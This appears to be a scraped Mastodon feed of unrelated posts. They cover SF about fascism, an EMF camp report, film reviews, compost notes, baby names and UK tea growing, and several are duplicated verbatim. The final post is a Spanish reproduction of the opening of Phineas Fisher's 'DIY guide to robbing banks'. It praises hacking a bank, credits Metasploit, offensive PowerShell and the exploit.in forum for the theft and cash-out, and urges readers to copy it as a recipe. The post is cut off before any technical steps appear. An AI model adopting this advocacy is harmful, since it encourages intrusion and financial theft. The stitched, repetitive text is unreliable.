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Seattle Worldcon 2025 @[email protected] · 2025-04-18 · 14:55 UTC

We live in worrying times. Fascism is on the rise across Europe and America, according to the consensus of many commentators. In this post, I will highlight SF that has speculated on the rise and activities of fascism. In a later blog post, I’ll discuss science fiction that has thought about ways to resist.
Science fiction in the 1930s had its fair share of authoritarian dictators. Upton Sinclair’s It Can’t Happen Here is a famous warning novel that feels all too relevant. In Sinclair’s vision, a populist demagogue takes power on the promise to halt immigration and make America great once more. But there is a lesser-known standout work that tried to warn the world of what was to come. Published under the alias Murray Constantine, Swastika Night (1937) projects a future in which the Nazis and Japanese won and have divided the world. Jews have been eradicated, Christians live in reservations, women are reduced to a voiceless and a near-invisible drudge caste, and the world is ruled by Teutonic knights. One aspect of the book that jumps out is the degree to which women have collaborated in their own oppression—a scenario that looked ridiculous to me on first read, but isn’t as funny in a world of “trad wives.”
Immediately after the Second World War, in the UK, people were trying to envisage a better future. Others were pushing back. In Marghanita Laski’s Tory Heaven; or, Thunder on the Right (1948), the ultra-right wing launch a coup and re-create their “natural order.” On a desert island, five people have constructed a meritocracy. When they are rescued, protagonist James Leigh-Smith (think Jacob Rees-Mogg) prays, “God, let it be as it might have been. Alter the clock, fix the election, do it any way you please, but let me see the England of all decent Conservatives’ dreams.” He finds himself in a country in which everyone is assigned to their correct social class, with the aristocracy and gentry given fixed incomes and told what to think, what to enjoy, who to marry, etc. It doesn’t end well. James discovers that while he has been given a place, it is conditional on his absolute support. He isn’t, as he thought, one of the rulers.
After the war, there were a slew of alternative history novels warning that “it could have happened here,” of which my favorites are Ward Moore’s Bring the Jubilee (1953) about a Confederate America, or Philip K. Dick’s Man in the High Castle (1962), one of the works from the 1961-1962 era being celebrated in Seattle. However, these books are consolatory in that it didn’t happen here. I’m more interested in texts that say, “If this goes on, this is where we are heading.”
Recent examples of warning novels include Octavia Butler’s Parable (or Earthseed) series, where the second book tracks the rise of right-wing fundamentalist Christians. In the television series Babylon 5, the space station becomes one of the holdouts against a fascist earth, but the series neatly ignores that the station is not a democracy. It is at best a benevolent military meritocracy. Lucy Ferris’s The Misconceiver (1997) is told through the voice of an underground abortionist in a world in which the right has rolled back all freedoms for women, gay people, and non-whites. Most recent warning books are focused on race and sexual freedoms, but some take up fundamental and systemic issues that warn of rising facism. Ken MacLeod’s Corporation Wars series (2016-17) envisages bitter war around the fundamental ideological differences between fascism and humanism, a future divided between those who see only themselves as truly human and those who still feel humanity is (or should be) structured around collectivity and the acknowledgement of others’ realities.
Since the 2016 U.S. election, and the extreme behaviour of the (many) British prime ministers in the past decade, fascism has felt ever more threatening in the Anglosphere. Lorraine Wilson’s This Is Our Undoing (2021) is set in a fractured and fascist Europe and explores the interrelationship between the personal and the political. In Marisa Crane’s I Keep My Exoskeleton To Myself (2023) and Chain-Gang All-Stars (2023) by Nana Kwame Adjei-Brenyah, the carceral state has found new ways to abuse and exploit the underclass. In The Disinformation War (2023), SJ Groenwegen takes on the disinformation that has infected the landscape of social media. Claire North’s Notes from the Burning Age (2021) explores the rise of authoritarian nationalism in a post-collapse future after a time of rebuilding and prosperity.
We have been warned. This time round we know what’s coming.
With thanks to Facebook friends for suggestions.
Farah Mendlesohn
Farah Mendlesohn is a con-runner, a retired history professor, a charity manager, co-editor of the Hugo Award-Winning Cambridge Companion to Science Fiction, author of the Hugo-nominated The Pleasant Profession of Robert A. Heinlein, and is currently working on a short book about Joanna Russ’s The Female Man (preorder Considering The Female Man by Joanna Russ, or, As the Bear Swore). Farah has chaired three Eastercons, has served in various capacities in Worldcons and Eastercons, and is part of the World Fantasy 2025 team. (Farah/they/she)
https://seattlein2025.org/2025/04/18/fantastic-fiction-fascism/ #Babylon5 #ClaireNorth #KenMacLeod #LorraineWilson #LucyFerris #MarghanitaLaski #MarisaCrane #MurrayConstantine #NanaKwameAdjeiBrendan #OctaviaButler #PhilipKDick #SJGroenwegen #UptonSinclair #WardMoon

#babylon5 #clairenorth #kenmacleod #lorrainewilson #lucyferris #marghanitalaski
Andy Piper @[email protected] · 2024-06-20 · 15:45 UTC
A few weeks ago, we had our second experience of the wonderful community that is the Electromagnetic Field festival.
The EMF24 sign: solar panel, water installations, and recycled circuitboards.
Electromagnetic Field [background here] is also known as EMF or #emfcamp – a festival initiated by Jonty Wareing and Russ Garrett over a decade ago. It is entirely, and wonderfully, volunteer-run and community-oriented.
We first went to EMF two years ago, and that time, took a car filled up with a lot of camping gear, and as many gadgets as I could cram in alongside. For some reason, the only place I wrote much about that trip was in my newsletter… which I have been neglecting a lot, much like this blog. On that trip, we camped near to the Guild of Makers, had no particular expectations, and just had a fantastic time exploring and learning. I built an RC2014 Micro in one of the workshops, and went to some great talks.
A Plan
This year, with our Forge & Craft studio becoming more established, we wanted to do something more. I submitted two talks, one of which was accepted; we applied to be a part of the Null Sector Night Market; and, with all of the maker stuff we wanted to take along, we decided to hire a camper van and set up an area for drop-in workshops around our craft (pen plotting, vinyl cutting, heat pressing, sublimation et al… I didn’t take a 3D printer as well, but did seriously consider it!).
We even made a sign. Previous tenants of our studio had left a giant empty frame in the storage area, which we repurposed with some plywood and paint (a future upgrade will probably include some LEDs, but I didn’t have the time before the event to make those happen this time around).
A large square wooden frame painted white, with a Forge & Craft logo and URL in dark blue.
About ten days before we were due to set off, the owner of the camper we’d booked let us know that the boiler was leaking and that we’d have no hot water, but on balance, that was a compromise we were OK with… The van (named Louna, and hired through Quirky Campers) was lovely, beautifully kitted out, straightforward to drive, and it worked really well for us, even when we had some mud-related challenges getting parked up at the top north east corner of the EMF site, and getting back off that spot on the morning that we left (our wonderful neighbours were good enough to give us a quick push off to get us on our way).
The Experience
There are a number of other write-ups of how folks experienced EMF 2024, and pretty much all of them have different content and highlight different things, many of which are miscellany that I missed around the site. That is to say – EMF has a lot of diverse and interesting stuff to discover.
This time I felt like an experienced hand, even as someone that had only been along once before. It turned out that several of my friends were going to be there for the first time, and had already sought advice and made connection with me about travel, planned location etc. We ended up parked at the far top corner of the site, opposite Null Sector, but also close to the Guild of Makers village that we were again loosely affiliated with (also, we’re thrilled about the MBE awarded to our brilliant GoM friend Dr Lucy Rogers!). It turns out that having a surrounding sheet of steel to sleep inside was reasonably sound-insulating compared to a tent, so we did mostly manage to get some sleep, despite the proximity to the loud late-night music generation zone!
There are far Too Many Things to write about in detail, here is but a small flavour.
Talks
I went to a handful of talks; there were too many on my planned schedule across the 4 days, but realised I would never see everything, so I sniped at some key ones and resolved to catch up on recordings of others when possible.
- I finally saw Ellie Huxtable talk about shell history with Atuin (I missed this talk at FOSDEM although did get to meet Ellie there, and she was unable to join State of Open Con, so I’m glad to have seen this!). I’m now gradually installing and learning Atuin on each device and system I regularly use.
- Love love loved Shan Sun‘s talk about becoming a maker! So interesting, and a reminder that folks from all kinds of backgrounds can find joy in creating things. Shan’s lighthouses installation in Null Sector was also really cool.
- The talk about Tiny Toolkits was really good, and has caused me to add an array of small and handy tools to my “wanted” lists…!
- There was a fun talk about connecting Arduino boards to the web, which had some great demos inside it.
- Lucy gave an inspiring talk about looking Up, and the science above our heads. Looking forward to her book on this subject.
- After my experience (and illegal treatment) by the company that used to be Twitter UK as directed by the new owner, I found the discussion about Why Tech Needs Unions very interesting. A topic about which I now, in middle age, have a lot of Thoughts, which I may share at some point.
- Martin Hamilton‘s fabulous rewind to the 1990s session about the origins of web search and how AI and capitalism have largely ruined things, was great. After briefly flirting with some other options, I’m now mostly using SearXNG for my search needs where I can. Be More Goat! 🐐
For my own time on stage, it was exciting to be able to deliver a new version of a talk I’d previously given as a 45 minute closing keynote, in a more focused 20 minute slot. I talked about the history of computer art and pen plotters – computer-driven drawing machines – and how I’ve now built several of them. There was, however, an A/V bump in the road, so I definitely lost a bit of momentum and content along the way when I had to reboot halfway though 😬 video to follow, on this one. You can find the related links and notes here.
Thanks to my friend Jacqui for taking some nice photos of me on stage!
Sights
As with the talks, so very many things I could mention here, and still more we didn’t even get to encounter. Let’s summarise a few.
- the on-site (wired) phone system was, once more, a delight – it made me a bit sad that I didn’t bring anything to plug into it, again.
- a man played a Theremin to drive the output of a Tesla coil.
- there was a series of murder mystery games involving the death of our beloved Clippy. I did not play these, but loved the idea and execution and heard that a lot of people did get really engaged in solving the crime!
- A physical version of Flappy Bird! Just brilliantly executed, I loved it.
  
  This was in the main bar; the whole of the Arcade (a separate space) was also fantastic, although I did not have a lot of time to explore. I was excited to see some games there built using Downpour, which I recently talked about on our weekly podcast.
- The most engaging and intriguing installation for me was Shadowplay (inside Null Sector), from Joseph Lindley, Roger Whitham, and Jesse Benjamin. An absolutely fascinating live demonstration of image diffusion [aka generative AI] effects applied to video capture. No particular reason, except that it was cool. I could have played in there for ages!
Playing with the Shadowplay installation
Hacks
On to the physical “making” I got involved with…
- in 2022 I missed a workshop I was interested in on Building a Tiny Satellite Ground Station; this time, I successfully made it in. I enjoyed the experience of building a small 1⁄4-wave ground plane antenna and hooking it up to TinyGS running on a LilyGo LoRA board.
  When I got home, I excitedly started to poke around in the TinyGS project, but it seems a bit tricky to get involved with – only parts of it are open source / source-available, and the community discussion is largely on Telegram. I’m finding myself more frustrated than I’d like – I definitely would love to contribute to documentation and so forth, but have not really found a way to do so. It is fun to set up, but (my impression is that it is) not so easy to take it further. Back burner, and I may give up on it if I can’t figure out how to help and get helped.
- The Tildagon badge is great! I really enjoyed following it from announcement, through pre-event discussion, to collecting mine at the event and continuing to figure out what is possible afterwards.
  Before EMF I tentatively created up a few 3D printed addon Hexpansions, and some folks were able to confirm that they should fit, so I made a set of simple spirit level pieces, which other attendees seemed to enjoy. I’ll be making more, and you can find the designs on Printables as well. I like the concept that a hexpansion can be anything from a piece of card, through to a fully-functional electronic peripheral which contributes software to the main badge, and that we can continue to iterate on this design in the future.
  I ported my previous 2022 badge Duck Facts app as an app on the Tildagon, for all your vital Duck Facts – @emfducks, you’re welcome, QUACK! 🦆
The Magic
On Friday, we had a spot in the Night Market. We loved the experience of being there, talking to people about pen plotters and our art (and also, encouraging folks to come to see us at the pop-up by our camper, or to my talk), and making some sales. This was our first time selling as Forge & Craft outside of our own open studios, and a very different audience.
The response was really wonderful, and it felt like a great place to be.
Our stand in the Night Market, selling plots, prints, and a few HexpansionsA very busy Night Market
The only tiny piece of feedback I had was that the Night Market space itself was relatively small for the amount of footfall and traffic that came through – we could easily have used a full table, and having a bit more space for visitors may have made it feel a little less crammed in – nonetheless, Thank You so much to the organisers for having us, it was an absolutely great experience and we barely noticed the time rush by up until the 1am (!) close!
One more magical thing, was that this was an event at which Mastodon and the Fediverse came into their own!
- Ahead of the event, I put together a Fediwall to track associated hashtags and accounts across a range of popular and related Mastodon servers. As EMF approached, the chatter became more noticeable, and I began to follow a lot of interesting folks I had not previously been aware of.
  (also, you can follow hashtags on Mastodon, which can help to build a network around your areas of interest, particularly if you are on a larger server).
- My old friend James Smith proposed a Fediverse Friends meetup – which unfortunately overlapped with our Night Market time, but there were two of us to man our stall, so I was able to pop out and put some faces to Fediverse handles. I even brought Mastodon stickers and (for the fortunate few who got one) some magnets as well. Even if you were not at the meetup, hopefully you may have found a cheeky Mastodon logo sticker waiting to be collected somewhere else on the site 🦣 😉
- A key element was that every organising team at the event was on the Fediverse (specifically, GoToSocial, which is what their server uses, but easily followable on Mastodon, thank you ActivityPub), and attendees could use that to keep up with announcements and news. And, in the end, the wonderful @DrLucyRogers joined in the fun! I also managed to persuade the TinyGS project to set up their account.
- There were installations that connected to the Fediverse! Fabulous! This really felt like the early days of Web 2.0 platforms again, to some extent – it could easily have been 2010 all over again, with a dot matrix printer that sat in the main bar printing out Mastodon posts with the specific hashtag (thank you Matt Gray!), and a fax machine in the Null Sector bar that took in physically doodled images and posted them on Mastodon.
A dot matrix printer, printing Mastodon posts “MastoDot”A post from the author, printed on a dot matrix printerFax To Fedi, a fax machine connected to the FediverseA very poorly-drawn Forge & Craft logo, with the text #emf2024, posted via fax to an image on Mastodon
The Feeling
This.
I came back feeling energised and enriched, having reconnected with my communities. We had a great time.
Roll on 2026. Thank you to everyone involved.

Postscript: I did some babbling about EMF on the podcast a couple of weeks ago, as well, just at the start. Why not take a listen?

Like it? Share it -
https://andypiper.co.uk/2024/06/20/energized-mood-flux/
#art #camping #community #emf2024 #emfcamp #forgeAndCraft #making #penplotter #publicSpeaking #Technology #volunteering
#art #camping #community #emf2024 #emfcamp #forgeandcraft
Kindle Daily Deals @[email protected] · 2025-12-29 · 14:34 UTC

The Guest List: A Novel "But perfection is for plans, and people are all too human." Sale: $16.99 to $6.99 by Lucy Foley Rating: 4.2/5 (114,965 Reviews) #Mystery #Thriller #Crime #Wedding #Island #Whodunit #Books #BookSky

The Guest List: A Novel

#mystery #thriller #crime #wedding #island #whodunit
Golden Bunny of Destiny 🕯 @[email protected] · 2024-11-30 · 18:52 UTC

@StefanThinks People who still reference Andy Griffith or I Love Lucy today would be like those who still referenced Ziegfeld Follies when those two shows were on the air.
#GBOD

#gbod
QuirkyFilms @[email protected] · 2025-04-13 · 20:30 UTC

#JustWatched #FilmMastodon 📽️ 🎬
#DespicableMe4 (2024)
Gru, Lucy, Margo, Edith and Agnes welcome a new member to the family, Gru Jr. who is intent on tormenting his dad. Gru faces a new nemesis in Maxime Le Mal and his girlfriend Valentina and the family is forced to go on the run.
3/5 ⭐️

#justwatched #filmmastodon #despicableme4
QuirkyFilms @[email protected] · 2025-04-13 · 20:30 UTC

#JustWatched #FilmMastodon 📽️ 🎬
#DespicableMe4 (2024)
Gru, Lucy, Margo, Edith and Agnes welcome a new member to the family, Gru Jr. who is intent on tormenting his dad. Gru faces a new nemesis in Maxime Le Mal and his girlfriend Valentina and the family is forced to go on the run.
3/5 ⭐️

#justwatched #filmmastodon #despicableme4
QuirkyFilms @[email protected] · 2025-04-13 · 20:30 UTC

#JustWatched #FilmMastodon 📽️ 🎬
#DespicableMe4 (2024)
Gru, Lucy, Margo, Edith and Agnes welcome a new member to the family, Gru Jr. who is intent on tormenting his dad. Gru faces a new nemesis in Maxime Le Mal and his girlfriend Valentina and the family is forced to go on the run.
3/5 ⭐️

#justwatched #filmmastodon #despicableme4
QuirkyFilms @[email protected] · 2025-04-13 · 20:30 UTC

#JustWatched #FilmMastodon 📽️ 🎬
#DespicableMe4 (2024)
Gru, Lucy, Margo, Edith and Agnes welcome a new member to the family, Gru Jr. who is intent on tormenting his dad. Gru faces a new nemesis in Maxime Le Mal and his girlfriend Valentina and the family is forced to go on the run.
3/5 ⭐️

#despicableme4 #filmmastodon #justwatched
QuirkyFilms @[email protected] · 2025-04-13 · 20:30 UTC

#JustWatched #FilmMastodon 📽️ 🎬
#DespicableMe4 (2024)
Gru, Lucy, Margo, Edith and Agnes welcome a new member to the family, Gru Jr. who is intent on tormenting his dad. Gru faces a new nemesis in Maxime Le Mal and his girlfriend Valentina and the family is forced to go on the run.
3/5 ⭐️

#justwatched #filmmastodon #despicableme4
⚯ Michel de Cryptadamus ⚯ @[email protected] · 2025-03-05 · 08:06 UTC

shocking allegations that #Passes, a social media platform run by Thiel Fellow #LucyGuo and funded by crypto bros, was basically #OnlyFans but (wink wink) for minors...
Financial backers included #JakePaul, #ParisHilton, as well as multiple bros who are attending the White House Crypto Summit on Friday,(e.g. "crypto czar" #DavidSacks's #CraftVentures and Kyle Samani's #MulticoinCapital).
Xitter post by a founder who objected to her own company being acquired by such a deeply amoral organization: https://x.com/jasminericegirl/status/1895947481764286567
(Lucy Guo was also a Forbes 30 Under 30 person... lol)
#LucyGuo #a16z #MarcAndreessen #KyleSamani #VCs #PeterThiel #corruption #crime #CSAM

#passes #lucyguo #onlyfans #jakepaul #parishilton #davidsacks
⚯ Michel de Cryptadamus ⚯ @[email protected] · 2025-03-05 · 08:06 UTC

shocking allegations that #Passes, a social media platform run by Thiel Fellow #LucyGuo and funded by crypto bros, was basically #OnlyFans but (wink wink) for minors...
Financial backers included #JakePaul, #ParisHilton, as well as multiple bros who are attending the White House Crypto Summit on Friday,(e.g. "crypto czar" #DavidSacks's #CraftVentures and Kyle Samani's #MulticoinCapital).
Xitter post by a founder who objected to her own company being acquired by such a deeply amoral organization: https://x.com/jasminericegirl/status/1895947481764286567
(Lucy Guo was also a Forbes 30 Under 30 person... lol)
#LucyGuo #a16z #MarcAndreessen #KyleSamani #VCs #PeterThiel #corruption #crime #CSAM

#corruption #passes #lucyguo #onlyfans #jakepaul #parishilton
⚯ Michel de Cryptadamus ⚯ @[email protected] · 2025-03-05 · 08:06 UTC

shocking allegations that #Passes, a social media platform run by Thiel Fellow #LucyGuo and funded by crypto bros, was basically #OnlyFans but (wink wink) for minors...
Financial backers included #JakePaul, #ParisHilton, as well as multiple bros who are attending the White House Crypto Summit on Friday,(e.g. "crypto czar" #DavidSacks's #CraftVentures and Kyle Samani's #MulticoinCapital).
Xitter post by a founder who objected to her own company being acquired by such a deeply amoral organization: https://x.com/jasminericegirl/status/1895947481764286567
(Lucy Guo was also a Forbes 30 Under 30 person... lol)
#LucyGuo #a16z #MarcAndreessen #KyleSamani #VCs #PeterThiel #corruption #crime #CSAM

#csam #crime #corruption #peterthiel #vcs #kylesamani
⚯ Michel de Cryptadamus ⚯ @[email protected] · 2025-03-05 · 08:06 UTC

shocking allegations that #Passes, a social media platform run by Thiel Fellow #LucyGuo and funded by crypto bros, was basically #OnlyFans but (wink wink) for minors...
Financial backers included #JakePaul, #ParisHilton, as well as multiple bros who are attending the White House Crypto Summit on Friday,(e.g. "crypto czar" #DavidSacks's #CraftVentures and Kyle Samani's #MulticoinCapital).
Xitter post by a founder who objected to her own company being acquired by such a deeply amoral organization: https://x.com/jasminericegirl/status/1895947481764286567
(Lucy Guo was also a Forbes 30 Under 30 person... lol)
#LucyGuo #a16z #MarcAndreessen #KyleSamani #VCs #PeterThiel #corruption #crime #CSAM

#corruption #crime #passes #lucyguo #onlyfans #jakepaul
Pete Ashton @[email protected] · 2026-04-23 · 21:10 UTC

Notes and links from Thurs 23 April: https://notes.peteashton.com/2026/04/23/notes-and-links-from-thurs.html
I had a thought about managing the #compost at the allotment so sent it to my sister who suggested we meet up there and have a chat about it. Which turned into actioning the plan and emptying one full bay into another. Lucy did most of the work but I couldn't help getting a bit involved (this was my big passion pre-CFS!) and we'll see if I overdid it or managed it well.
The compost it looking good considering it's missing a lot of the food inputs I used to get from friends and Loaf so is mainly rabbit poop and hay alongside the usual allotment detritus. Some patches at the bottom were a bit anaerobic and stinky but that's to be expected.
#Compostodon

#compost #compostodon
Pete Ashton @[email protected] · 2026-02-02 · 21:52 UTC

Notes from Monday 2 February: https://notes.peteashton.com/2026/02/02/notes-from-monday-february.html
Lucy came over this afternoon and we took all the compostables to the allotment. This included a drop-off from another rabbit-caring friend who saves up their poop and pissy hay for us, so we actually have a glut at the moment.
#Compostodon #compost

#compostodon #compost
Eco Mom Diaries @[email protected] · 2026-03-31 · 02:44 UTC
100 Wuthering Heights–Inspired Baby Girl Names (A–Z)

This post contains affiliate links which may earn Eco Mom Diaries a commission.

Few novels feel as atmospheric and romantic as Wuthering Heights by Emily Brontë. Set on the wild English moors, the story is filled with dramatic love, haunting landscapes, and unforgettable characters. Even the names in the novel carry a poetic, windswept charm that feels perfect for parents who love classic literature.
Victorian names from the Brontë era often feel elegant and timeless. Many come from nature, old English traditions, or strong historical roots. Some appear directly in Wuthering Heights, while others reflect the same vintage style and moody beauty that surrounds the story.
If you are drawn to literary names with depth and romance, here is a collection of 100 baby girl names inspired by the world and aesthetic of Wuthering Heights — arranged from A to Z.

A
Ada — Noble and serene; a Victorian classic.
Adeline — Noble and graceful.
Agnes — Pure and gentle.
Alice — Noble and bright.

B
Beatrice — Bringer of happiness.
Blythe — Carefree and joyful.
Briony — A climbing plant; delicate and nature-inspired.
Briar — A thorny rose bush, evoking wild landscapes.

C
Catherine — Pure; the unforgettable heroine of Wuthering Heights.
Clara — Bright and clear.
Cora — Maiden; soft and classic.
Cecilia — Heavenly and musical.

D
Diana — Divine and luminous.
Dorothea — Gift of God.
Delilah — Delicate and romantic.
Daphne — Laurel tree; graceful and natural.

E
Eleanor — Light and compassion.
Eliza — Devoted to God.
Esther — Star.
Edith — Prosperous in war; a vintage English name.

F
Florence — Flourishing and blooming.
Felicity — Great happiness.
Frances — Free-spirited.
Flora — Flower; a beautiful Victorian favorite.

G
Georgiana — Feminine form of George; elegant and aristocratic.
Grace — Charm and goodness.
Genevieve — Woman of the people.
Gwendolyn — White ring or blessed.

H
Harriet — Ruler of the home.
Hazel — The hazel tree; earthy and gentle.
Hester — Star; an old English favorite.
Honor — A virtue name popular in earlier centuries.

I
Isabella — Devoted to God; Catherine’s sister-in-law in Wuthering Heights.
Iris — Rainbow; delicate and botanical.
Imogen — Maiden; poetic and Shakespearean.
Ivy — Evergreen vine symbolizing loyalty.

J
Jane — God is gracious; reminiscent of Brontë literature.
Juliet — Youthful and romantic.
Josephine — God will increase.
Jessamine — Jasmine flower.

K
Katherine — A variant of Catherine meaning pure.
Keira — Dark-haired beauty.
Kitty — A charming diminutive of Katherine.
Kendra — Wise ruler.

L
Lillian — Lily flower; soft and elegant.
Lucy — Light.
Lydia — From Lydia in Greece.
Lavender — A fragrant flowering plant.

M
Margaret — Pearl.
Matilda — Strength in battle.
Millicent — Strong worker.
Mabel — Lovable.

N
Nelly — Shining light; inspired by Ellen “Nelly” Dean, the narrator of Wuthering Heights.
Nora — Honor or light.
Naomi — Pleasantness.
Nadine — Hope.

O
Olivia — Olive tree; peaceful and timeless.
Ophelia — Help; poetic and dramatic.
Odette — Wealth and prosperity.
Octavia — Eighth.

P
Penelope — Weaver.
Primrose — The first rose of spring.
Phoebe — Bright and radiant.
Prudence — A classic Victorian virtue name.

Q
Queenie — A charming vintage nickname meaning queen.
Quinn — Wise and intelligent.
Quilla — Gentle and poetic.
Quintessa — Essence or fifth element.

R
Rosalind — Beautiful rose.
Rosamund — Horse protector.
Rowena — Fame and joy.
Rebecca — To bind.

S
Sophia — Wisdom.
Seraphina — Fiery and angelic.
Sylvia — Of the forest.
Susanna — Lily flower.

T
Theodora — Gift of God.
Tabitha — Gazelle; graceful and rare.
Theresa — Harvester.
Temperance — Self-control; a virtue name.

U
Una — One or unity.
Unity — Harmony and togetherness.
Ursula — Little bear.
Ulyssa — A rare poetic name.

V
Victoria — Victory.
Violet — Purple flower; beautifully Victorian.
Verity — Truth.
Valentina — Strength and health.

W
Winifred — Blessed peace.
Willa — Resolute protector.
Wilhelmina — Determined guardian.
Wren — Small songbird.

X
Xanthe — Golden.
Xenia — Hospitality.
Ximena — Listener.
Xandra — Defender of mankind.

Y
Yvette — Yew tree.
Yara — Small butterfly.
Yvonne — Archer.
Ysolde — Ice ruler; romantic medieval name.

Z
Zara — Blooming flower.
Zinnia — Bright garden flower.
Zelda — Blessed or gray fighting maid.
Zora — Dawn.

Final Thoughts
Names inspired by Wuthering Heights capture a kind of timeless romance that feels both dramatic and elegant. Whether you love classic Victorian names like Catherine and Isabella or nature-inspired picks like Briar, Ivy, and Wren, these names carry the same windswept beauty found in Emily Brontë’s unforgettable story.
A literary name can feel like a little piece of poetry—something that grows with your child and always carries a story behind it.

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I’m
#Babies #Books #family #Food #Kids #Motherhood #Names #NewBorns #photography #Travel #WutheringHeights
#babies #books #family #food #kids #motherhood
DoomsdaysCW @[email protected] · 2025-06-22 · 22:41 UTC

Well, one positive effect of #ClimateChange...
Can Britain be a nation of #tea growers? Scientists say yes – and it could even be good for your health
Published: June 17, 2025
by Nigel Holt, Professor of Psychology, Aberystwyth University
"It’s not every day you find yourself standing in a tea garden in Devon, surrounded by rows of #CamelliaSinensis – the same plant species used to make tea in India, China and Japan. But there we were, in the heart of Dartmoor, picking fresh tea leaves from plants that are thriving in the UK’s cool, damp climate.
"It’s a surprising sight, and one that could become more common. Britain may be known as a 'nation of tea drinkers', but might there be opportunities for it to increasingly be a nation of tea growers? Our research has involved working with growers in Devon and Wales to explore the chemistry of UK-grown tea.
"We’re using a technique called 'metabolomics' to understand what’s going on inside the leaves, and how different growing conditions, processing methods and even fermentation (like making kombucha) affect the final cup.
"Tea competes with coffee to be the UK’s favourite drink, but almost all tea leaves are imported. With concerns about climate change, #FoodSecurity and #sustainability increasing, there’s growing interest in whether more food, including tea, can be grown in the UK.
"We chose mid-Wales and south-west England for our project because of their mild, wet climates, which are surprisingly well-suited to tea cultivation. Dartmoor, in particular, has a unique #microclimate and varied soils that make it an ideal test site. There’s also a strong local appetite for sustainable farming and agricultural innovation.
"Wales already has a tea pioneer in Lucy George, a Nuffield farming scholar who began growing tea near Cardiff in 2014. Her brand, Peterston Tea, is now sold in Welsh shops and around the world. She believes that slower growth in Wales’ cooler climate may actually improve flavour, making Welsh-grown tea more than just a curiosity."
Read more:
https://theconversation.com/can-britain-be-a-nation-of-tea-growers-scientists-say-yes-and-it-could-even-be-good-for-your-health-257495?utm_source=firefox-newtab-en-us
#SolarPunkSunday #GrowYourOwn #Gardening

#climatechange #tea #camelliasinensis #foodsecurity #sustainability #microclimate
Lucy Vin @[email protected] · 2023-03-25 · 23:25 UTC

I'm on the consult waitlist for Bluebond-Langer for Bottom Surgery, but I'm doing research and it seems like the folks at OHSU might have trained under her? I think it might make sense to get on that wait-list since I honestly have a bigger support network in PDX, does anyone know folks who can attest to their work?
#pdx #ohsu #transgender

#pdx #ohsu #transgender
ApaulD @[email protected] · 2026-04-24 · 10:02 UTC

“Astroturf front groups are fake grass roots bodies. Some are run by the tycoons’ and CEO’s strategists. Some that can be categorised as such are operated by local citizens conned by a fake panic, but who are fostered and fed disinformation by (international) strategists. Some lie in between. Many have connections to the Atlas Network that created the strategy; others have caught the virus and imitated the game plan.” Lucy Hamilton
#AtlasNetwork #auspol #democracy #politics
#taxtherich

#atlasnetwork #auspol #democracy #politics #taxtherich

Comunicación Abierta @[email protected] · 2024-04-08 · 21:28 UTC

Una guía DIY para robar bancos

Manifiesto del hacker Phineas Fisher sobre cómo robar bancos

Sacado de https://unicornriot.ninja/wp-content/uploads/2019/11/hackback-announce-text.txt

                _   _            _      ____             _    _                | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)                         Una guía DIY para robar bancos                                                                                  ^__^                                  (oo)\_______                               (  (__)\       )\/\                                _) /  ||----w |                               (.)/   ||     ||                                `'                          Por el Subcowmandante Marcos                                                                                                                      Soy un niño salvaje                           Inocente, libre, silvestre                             Tengo todas las edades                            Mis abuelos viven en mí                            Soy hermano de las nubes                              Y sólo sé compartir                            Sé que todo es de todos                            que todo está vivo en mí                           Mi corazón es una estrella                             Soy hijo de la tierra                          Viajo a bordo de mi espíritu                             Camino a la eternidadÉsta es mi palabra sencilla que busca tocar el corazón de la gente simple yhumilde, pero también digna y rebelde. Ésta es mi palabra sencilla para contarde mis hackeos, y para invitar a otras personas a que hackeen con alegrerebeldía.Hackeé un banco. Lo hice para dar una inyección de liquidez, pero esta vez desdeabajo y a la gente simple y humilde que resiste y se rebela contra lasinjusticias en todo el mundo. En otras palabras: robé un banco y regalé eldinero. Pero no fui yo sola quien lo hizo. El movimiento del software libre, lacomunidad del powershell ofensivo, el proyecto metasploit y la comunidad hackeren general son las que posibilitaron este hackeo. La comunidad de exploit.inhizo posible convertir la intrusión en las computadoras de un banco en efectivoy bitcoin. Los proyectos Tor, Qubes y Whonix, junto a las y los criptógrafos yactivistas que defienden la privacidad y el anonimato, son mis nahuales, esdecir, mis protectores [1]. Me acompañan cada noche y hacen posible que siga enlibertad.No hice nada complicado. Solamente vi la injusticia en este mundo, sentí amorpor todos los seres, y expresé ese amor de la mejor forma que pude, mediante lasherramientas que sé usar. No me mueve el odio a los bancos, ni a los ricos, sinoun amor por la vida, y el deseo de un mundo donde cada quien pueda realizar supotencial y vivir una vida plena. Quisiera explicar un poco cómo veo el mundo,para que puedan hacerse una idea de cómo es que llegué a sentirme y actuar así.Y espero también que esta guía sea una receta que puedan seguir, combinando losmismos ingredientes para hornear el mismo bizcocho. Quién sabe, por ahí estasherramientas tan potentes acaban sirviéndoles también a ustedes para expresar elamor que sienten.                           Todos somos niños salvajes                         inocentes, libres, silvestres                      Todos somos hermanos de los árboles                               hijos de la tierra                   Sólo tenemos que poner en nuestro corazón                             una estrella encendida                    (canción de Alberto Kuselman y Chamalú)La policía va a invertir un chingo de recursos en investigarme. Creen que elsistema funciona, o al menos que funcionará una vez que atrapen a todos los"chicos malos". No soy más que el producto de un sistema que no funciona.Mientras existan la injusticia, la explotación, la alienación, la violencia y ladestrucción ecológica, vendrán muchas más como yo: una serie interminable de personas que rechazarán por ilegítimo el mal sistema responsable de estesufrimiento. Ese sistema mal hecho no se va a componer arrestándome. Soy solamente una de las millones de semillas que Tupac plantó hace 238 años en LaPaz [2], y espero que mis acciones y escritos rieguen la semilla de la rebeliónen sus corazones.[1] https://es.wikipedia.org/wiki/Cadejo#Origen_y_significado_del_mito[2] fue antes de ser asesinado por los españoles, justo un día como ayer, que    dijo eso de "a mi solo me matarán, pero mañana volveré y seré millones". ____________________________________________< Para que nos vieran, nos tapamos el rostro > --------------------------------------------         \          \ ^__^            (oo)\_______         (  (__)\       )\/\          _) /  ||----w |         (.)/   ||     ||          `'Para hacernos escuchar, a lxs hackers a veces nos toca taparnos la cara, porqueno nos interesa que vean nuestro rostro sino que entiendan nuestra palabra. Lamáscara puede ser de Guy Fawkes, de Salvador Dalí, de Fsociety, o en algún casola marioneta de un sapo con cresta. Por afinidad, esta vez fui a desenterrar aun difunto para prestarme su pasamontañas. Creo entonces que debería aclarar queel Sup Marcos es inocente de todo lo que aquí se cuenta porque, además de estarmuerto, no le consulté. Espero que su fantasma, 